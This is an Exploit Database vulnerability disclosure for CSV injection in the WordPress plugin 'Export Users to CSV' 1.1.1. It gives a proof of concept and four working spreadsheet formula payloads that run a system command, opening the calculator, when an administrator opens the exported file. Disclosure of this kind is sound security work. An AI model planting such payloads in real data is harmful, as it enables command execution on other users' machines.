WordPress Plugin Export Users to CSV 1.1.1 – CSV Injection

• Exploit Database
• 13 阅读

• 作者： Javier Olmedo
  日期： 2018-08-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45206/

• # Exploit Title: WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection
  # Exploit Author: Javier Olmedo
  # Website: https://hackpuntes.com
  # Date: 2018-08-14
  # Google Dork: N/A
  # Vendor: Matt Cromwell
  # Software Link: https://wordpress.org/plugins/export-users-to-csv/
  # Affected Version: 1.1.1 and before
  # Active installations: +20,000
  # Patched Version: unpatched
  # Category: Web Application
  # Platform: PHP
  # Tested on: Win10x64
  
  # 1. Plugin Description:
  # WordPress Export Users to CSV plugin exports user data and meta data. 
  # You can even export the users by role and registration date range.
   
  # 2. Technical Description:
  # WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution 
  # through the CSV injection vulnerability. This allows an application user to inject commands as part 
  # of the fields of his profile and these commands are executed when a user with greater privilege 
  # exports the data in CSV and opens that file on his machine.
   
  # 3. Proof Of Concept (PoC):
  # Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.
  # When the user with high privileges logs in to the application, export data in CSV and opens the 
  # generated file, the command is executed and the calculator will run open on the machine.
  
  # 4. Payloads:
  =SUM(1+1)*cmd|' /C calc'!A0
  +SUM(1+1)*cmd|' /C calc'!A0
  -SUM(1+1)*cmd|' /C calc'!A0
  @SUM(1+1)*cmd|' /C calc'!A0